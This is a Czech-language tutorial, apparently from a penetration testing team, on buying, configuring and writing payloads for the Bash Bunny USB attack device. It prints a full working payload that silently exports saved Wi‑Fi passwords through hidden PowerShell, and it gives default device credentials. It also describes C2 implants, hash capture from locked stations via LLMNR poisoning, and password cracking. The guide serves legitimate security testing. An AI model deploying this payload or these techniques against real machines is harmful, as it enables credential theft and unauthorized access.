Bash Bunny – Průvodce

V tomto článku si detailně rozebereme velice zajímavé zařízení s názvem Bash Bunny. Podíváme se na to, jak Bash Bunny pořídit, nakonfigurovat, napsat vlastní uživatečné payloady a použít pro realizaci efektivních útoků.

Co je Bash Bunny?

Bash Bunny je útočné USB zařízení z dílny americké společnosti Hak5. Na první pohled vypadá zařízení jako zbytečně tučná USB flash paměť. Pokud byste se však podívali dovnitř, zjistíte, že na své rozměry obsahuje úctyhodný hardware v čele se čtyř jádrovým ARM procesorem:

  • Quad-core ARM Cortex A7
  • 32 K L1/512 K L2 Cache
  • 512 MB DDR3 Memory
  • 8 GB SLC NAND Disk

Tento hardware potom oživí Linux, konkrétně Debian 8 Jessie. A teď to hlavní. Bash Bunny umí emulovat USB Storage, klávesnici a síťovou kartu. K čemu je toto vše dobré (ba dokonce výborné) si ukážeme v kapitole věnované samotným útokům. Pokud vás nezajímá omáčka okolo a chcete vidět praktické útoku realizovatelné prostřednictvím Bash Bunny, srolujte rovnou do kapitoly Praktické útoky.

Hlavní využití Bash Bunny je realizace útoků na stanici/mobilní telefon, za předpokladu, že k nim máte fyzický přístup. Pro náš pentesterský tým v AEC je hlavní přínos tohoto zařízení ve využití jakožto pomocníka při tzv. Fyzickém sociálním inženýrství, kdy se snažíme fyzicky dostat do prostor, kanceláří či serveroven cílové společnosti či při realizaci Red Teamingu. Jaká kouzla můžeme s Bash Bunny provádět si ukážeme v jedné z dalších kapitol. Napřed si ale povíme, jak zařízení vůbec získat a zprovoznit.

Nákup Bash Bunny

Jediným oficiálním prodejcem je již zmíněný obchod Hak5. Cena Bash Bunny je 100 USD.

Mohlo By Vás Zajímat

[]Oficiální Bash Bunny Wiki
[]Oficiální Wiki popis Bash Bunny na HAK5
[]Oficiální GitHub s Payloady
[]Komunitní payloady
[]Nejnovější verze firmware
[]HAK5 Introducing Bash Bunny
[]HAK5 How to Write Payloads
[]HAK5 Bash Bunny Primer
Bash Bunny - Cena
Bash Bunny - Cena

Jelikož se však sklady Hak5 nacházejí pouze na americkém kontinentě, musíte si k finální ceně započítat i nezanedbatelnou cenu za dopravu, se kterou se dostáváme na 139 USD.

Bash Bunny - Cena
Bash Bunny - Cena

Na závěr ještě platba cla celníkům. Celková cena se tak pohybuje v přepočtu kolem 3 500 CZK. Výhodou je alespoň poměrně rychlé doručení, kdy od okamžiku objednání máme Bash Bunny ve schránce do týdne.

Zprovoznění Bash Bunny

Paráda, konečně jsme se dočkali, Bash Bunny nám leží na stole. Co teď s ním? Mrkneme, co se ve stylovém balení vlastně nachází:

Bash Bunny - Balení
Bash Bunny - Balení

Není tam asi nic, co by nás překvapilo. Pro představu ohledně rozměrů:

Bash Bunny - Velikost
Bash Bunny - Velikost

Samotný Bash Bunny má kromě USB male portu ještě malý polohovatelný přepínač na boční straně a LED diodu. Přepínač lze přesunout do tří různých poloh. Tzv Arming Mode je mód pro konfiguraci zařízení a zbylé dvě pozice slouží na výběr dvou různých útoků, které si předpřipravíte. LED dioda potom různými barvami oznamuje různé stavy Bash Bunny (bootování, aktualizace, Arming Mode, …) či fázi realizace daného útoku.

Bash Bunny - Přepínače
Bash Bunny - Přepínače

Pro nastavení Bash Bunny, zavedení vlastních paylodů, aktualizaci či správu přes sériový port je nutné zařízení přepnout do Arming Mode (přepínač je v poloze nejblíže USB portu). Po zapojení do počítače se Bash Bunny připojí jako Storage zařízení, tak jako klasický USB Flash disk, vytvoří nový ethernetový adaptér a sériový port pro komunikaci. V Linuxu je zprovoznění přímočaré:

  1. Zjistíme si, jaké sériové zařízení Bash Buny vytvořil prostřednictvím příkazu:

dmesg | grep tty

V našem případě to bude /dev/ttyACM0

2. Na rozhraní se připojíme prostřednictvím nástroje screen a s použitím výchozích přihlašovacích údajů:

root:hak5bunny
screen /dev/ttyACM0 115200

Bash_Bunny_tty.png

V případě zprovoznění na Windows jsme se často setkávali se situací, kdy sériový port Bash Banny nebyl systémem správně rozpoznán:

Bash_Bunny_DeviceManager.png

V takovém případě je nutné ruční instalace ovladačů, které se nachází na výměnném úložišti Bash Bunny. Problémem však je, že tyto ovladače nejsou podepsané a je tak před instalací nutné přes Advanced Startup zakázat kontrolu podpisu ovladačů a systém restartovat. Po instalaci ovladačů důrazně doporučujeme kontrolu podpisů ovladačů znovu zapnout. Pro jistotu přikládáme podrobný návod instalace nepodepsaných ovladačů. Po instalaci ovladačů je již sériový port korektně rozpoznán a v našem případě přiřazen jako COM8.

Bash_Bunny_DeviceManager2.png

Alternativně mimo Device Manager lze číslo COM portu zjistit prostřednictvím Powershellu:

Bash_Bunny_powershell.png

Pro úplnost dodám, že podobné peripetie musíte absolvovat pouze v případě, když chcete na Windows Bash Bunny konfigurovat. Co se týče Windows jako cíle útoků, tam Bash Bunny funguje Out-of-the-Box, jelikož ovladače pro síťové rozhraní i vyměnitelné úložiště jsou korektně a automaticky identifikovány a nainstalovány.

Nyní je možné se přes COM8 port připojit ke konzoli Bash Bunny prostřednictvím nástroje Putty:

Bash_Bunny_Putty.png

Po připojení se na konzoli je možné ověřit, že se v tomto malém zařízení opravdu nachází plnohodnotný Linux na platformě ARM.

Bash_Bunny_Putty2.png

Nyní, když jsme Bash Bunny zprovoznili pro jeho plnohodnotnou správu, je na čase ho aktualizovat. Aktualizace Bash Bunny lze rozdělit na tři části:

  1. Aktualizace firmware
  2. Aktualizace operačního systém (Debian Linux)
  3. Akualizace Payloadů

Aktualizace firmware

Pro aktualizaci firmware přepneme Bash Bunny do Arming Mode a zapojíme do USB portu počítače. Stáhneme nejnovější verzi firmware. Firmware stáhneme ve formátu tar.gz archivu (např. ch_fw_1.5_298.tar.gz) a ten bez rozbalení nakopírujeme do vyměnitelného úložiště do nejvyšší kmenové složky. Nyní je potřebné Bash Bunny bezpečně odpojit. Život je sice krátký na to, abychom bezpečně odpojovali USB zařízení z počítače, ale pokud nechcete dalších několik hodit zprovozňovat bricknutý Bash Bunny, důrazně tento krok to doporučuji.

Nyní stačí pouze Bash Bunny odpojit a znovu zapojit do USB portu a automaticky se spustí aktualizace firmware. Vše trvá přibližně 5 minut, kdy poté Bash Bunny klasicky nabootuje a můžete s ním pracovat

Aktualizace operačního systém (Debian Linux)

Zde se situace vůbec neliší od toho, jako byste updatovali Debian na desktopu či serveru. Pod oprávněním uživatele root spustíte:

apt-get update && apt-get dist-upgrade && apt-get autoremove

Zde můžete narazit na problem, že Bush Bunny na úrovni operačního systému nemá přístup na Internet. V tom případě mrkněte na oficiální Wiki, kde na nachází návod pro Linux i Windows.

Aktualizace Payloadů

Finálním krokem je potom aktualizace databáze paylodů. Payloadem je myšlen jednotlivý útočný skript a bude jim věnována následující kapitola. Aktuální databázi payloadů je možné stáhnout z oficiálního Githubu:

Po stažení stačí pouze soubory pouze nakopírovat na datové úložiště. V této chvíli máte Bash Bunny plně aktualizovaný a můžete si začít hrát se samotnými paylody.

Bash_Bunny_Storage.png

Bash Bunny Payloads

Důvod proč se Bash Bunny jmenuje, jak se jmenuje, je ten, že útočné payloady píšeme přímo v linuxovém bashi s pomocí dodatečných příkazů jazyka Bunny Script. Vše je jednoduché, intuitivní a efektivní.

V jednu chvíli může být Bash Bunny nakonfigurovaný pro spuštění dvou různých payloadů. Který payload bude spuštěn, ovlivňujeme pozicí přepínače na straně zařízení. Přepínač je nutné nastavit na pozici Payload 1 nebo Payload 2 ještě před zasunutím do USB portu.

Dle přednastavené pozice se po zapojení Bash Bunny spustí payload uložený v souboru:

  • /payloads/switch1/payload.txt
  • /payloads/switch2/payload.txt

Bash Bunny umí spouštět také payloady psané pro jeho sesterské zařízení – USB Rubber Ducky. Pokud tak máte už předpřipravené payloady pro Rubber Ducky, můžete je ze skripty payload.txt jednoduše spustit přes příkaz QUACK:

LED Y SOLID # Rozsvit LED didodu – zluta barba
ATTACKMODE HID # Emuluj klavesnici
QUACK switch1/muj_rubberdycky_skript.txt # Spust Rubber Ducky skript
LED G SOLID # Rozsvit LED didodu – zluta barva

Možnosti spouštět Ducky Script se v Bash Bunny payloаdech bohatě využívá a když se tak podíváte na databáze existujících payloadů, zjistíte, že se jedná o kombinaci jazyků Bash a Ducky Skript, prostřednictvím kterých se zpravidla spouštějí předpřipravené Powershell skripty.

Pro ukázku jednoduchosti naskriptování payloadů si rozebereme ukázkový payload, který po zapojení prostřednictvím příkazu netsh wlan extahuje a uloží hesla k WiFi sítím, ke kterým se cílový počítač automaticky připojuje.

# Budeme emulovat klavesnici a USB Storage
ATTACKMODE HID STORAGE
# Vytvorime adresar pro ulozeni xml souboru, obsahujich hesla k wifi sitim
mkdir -p /root/udisk/loot/WiPassDump
# LEDka kratce cervene blikne
LED R 200
# Pomoci klavesove zkratky Win+R otevreme dialog pro spusteni program
# Prikazy Q a QUACK jsou synonyma
Q GUI r
# Cekame pro jistotu 1 s nez zacneme generovat znaky, aby se okno vykreslilo (i na pomalych strojich:))
Q DELAY 1000
# Spustime powershell payload
# Do promenne $bunny ulozime nazev disku, kam se Bash Bunny namapoval (napr H:\)
# Prepneme se na diskove uloziste do adresare, ktery jsme na zacatku skriptu vytvorili
# A pustime netsh prikaz, ktery v danem adresari vygeneruje XML soubory obsahujici hesla k WiFi sitim
Q STRING powershell -WindowStyle Hidden \$bunny\=\(gwmi win32_volume -f \'label=\\\"BashBunny\\\"\'\).NAME\; cd \$bunny\\loot\\WiPassDump\; netsh wlan export profile key=clear
# Vyse uvedeny prikaz potvrdime klavesou Enter
Q ENTER
# Vykonani prikazu nejakou dobu trva, proto pockame 5 vterin
Q DELAY 5000
# Synchronizujeme, aby data byla na datove uloziste korektne zapsana a chvili pockame
sync
Q DELAY 1000
# Jsme hotovi, coz budeme signalizovat zelenym svetlem diody
LED G

Je vidět, že psaní payloadů není žádná věda a spojení jazyka Bash, Bunny Sciptu a Ducky Scriptu nám dává široké možnosti využití. Ve výše uvedeném příkladu jsme si vystačili s pouštěním příkazů prostřednictvím powershellu, je však možné spouštět i předem připravené exe, vbs či ps1 z USB úložiště či přímo použít nástroje dostupné z operačního systémy Bash Buny, jako například nmap, impacket nástroje či responder. Pěkné tutoriály psaní payloadů najdete na oficiálním kanále Hak5.

Bash Bunny a C2 server

Naprosto klasickým scénářem využívaným během fyzického sociálního inženýrství, je infiltrace cílové společnosti, nalezení nezamčené pracovní stanice a zapojení Bash Bunny s jediným cílem a to spuštění jednoduchého kódu, který počítač oběti připojí k Command and Control (C2) serveru. Tím může být Metasploit meterpreter, Empire, Pupy či vlastní in-house C2 server vytvořený v rámci Red Teamingu. Příklad takového útoku s použitím Bash Bunny a Empire C2 serveru můžete vidět na následujícím videu:

Quick Creds

Výše uvedené útoky obsahují nutnou podmínku a to že stanice, na kterou útočíme, musí být odemčená. Co však dělat v případě, že uživatel v souladu s bezpečnostní politikou při opuštění svého pracovního místa stanici uzamkne pomocí klávesové zkratky Win + L? Мáme potom nějaké možnosti útoku pokud při přístupu ke stanici koukáme pouze na přihlašovací dialog?

Možnosti rozhodně máme, vypomůže nám v tomto případě payload s názvem Quick Creds. Ten funguje v režimu, kdy Bash Bunny emuluje síťový adaptér s nejlepší metrikou, který se stane výchozí bránou. Následně payload spustí nástroj Responder, který je hojně využívaný v počátečních fázích při penetračních testech interní infrastruktury.

Nástroj provádí poisoning protokolů LLMNR (Link-Local Multicast Name Resolution) a NBT-NS (Netbios Name Service). Tyto protokoly slouží k vyhledávání jednotlivých zařízení v interní síti, pokud selže primární vyhledání prostřednictvím DNS. Požadavky v rámci těchto protokolů jsou šířeny na broadcast sítě. Nástroj tak pouze čeká na příchozí požadavky a provede tzv. LLMNR / NBT-NS Poisoning útok, v rámci kterého bude posílat falešné odpovědi na příchozí požadavky a autentizaci legitimních klientů bude přesměrovávat na svůj počítač. Jakmile se počítač pokusí vůči těmto podvrženým službám autentizovat, je zachycen NetNTLMv2 hash aktuálně přihlášeného uživatelského účtu.

Úspěšné zachycení hashe signalizuje Bash Bunny nepřerušovaným zeleným svitem diody. V tomto okamžiku můžeme Bash Bunny odpojit a od stanice odejít. Vůči zachyceným hashům můžeme následně s využitím grafické karty a nástroje Hashcat provádět slovníkový útok či útok hrubou silou (tzv. crackování). Nutné je však zmínit, že NetNTLMv2 hash (na rozdíl od NTLM či MD5 hashe) je komplexní a útok na něj je tak časově mnohem náročnější než například na zmíněné typy jiných hashů. V této situace již pouze záleží na kvalitě hesla, které si uživatel zvolil. Pokud je heslo slabé, nebude trvat dlouho, že ho pomocí Hashcatu prolomíte.

Jak takový útok vypadá, si můžete prohlédnout na následujícím videu:

Quick Creds s auto brutefroce

Pokud výše uvedený payload spojíte s tím, že ihned po zachycení NetNTLMv2 hashe uživatele provedete slovníkový útok a úspěšně cracknuté heslo automaticky použijete k odemknutí stanice, vypadá celkový útok velice efektně.

Na videu je místo Bash Banny použito zařízení Raspberry Pi Zero s P4wnP1 (Více o tomto viz sekci Alternativity):

Další útoky

Cílem útoku prostřednictvím Bash Bunny nemusí být pouze uživatelská stanice s MS Windows, ale za předpokladu fyzického přístupu také mobilní telefony (Android, iOS), tablety, Linuxové a macOS stroje či chytré televize.

Další útoky prostřednictvím Bash Bunny už jen heslovitě:

  • Krádež hesel z prohlížeče
  • Krádež cookies
  • Podvrhnutý Captive portál – krádež přihlašovacích údajů
  • Nmap scan – detekce portů, služeb, operačního systému
  • Reverse shell
  • Sudo backdoor
  • Exfiltrace souborů

Alternativy k Bash Bunny

Pokud by vám Bash Bunny nevyhovoval ať už z důvodu vyšší ceny či ne tak širokých možností vlastních úprav je možné vybrat jednu z alternativ:

Levné alternativy Bash Bunny vystavěné na platformě Raspberry Pi Zero W:

USB armory:

Soupis různých útočných USB zařízení:

Hak5 kromě Bash Bunny nabízí další zajímavá zařízení, která jsou svým zaměřením odlišná o Bash Bunny:

  • RubberDucky – Zařízení emulující klávesnici (HID), neocenitelný pomocník při sociálním inženýrství.
  • WiFi PineApple – Router speciálně upravený pro pohodlnou realizaci Wifi Rogue AP útoků
  • Packet Squirell – HW Man in the Middle zařízení využitelné jako backdoor
  • LAN Turtle – Starší předchůdce Packet Squirell a Bash Bunny
  • Keysy – Zařízení na klokování low-frequency RFID tagů

Závěr

Bash Bunny je bez pochyb užitečné zařízení, které nesmí chybět ve výbavě žádného penetračního testera, red teamera či nadšence do IT bezpečnosti. Své uplatnění najde především při fyzických průnicích a testech pracovních stanic.

Mohlo By Vás Zajímat

[]Oficiální Bash Bunny Wiki
[]Oficiální Wiki popis Bash Bunny na HAK5
[]Oficiální GitHub s Payloady
[]Komunitní payloady
[]Nejnovější verze firmware
[]HAK5 Introducing Bash Bunny
[]HAK5 How to Write Payloads
[]HAK5 Bash Bunny Primer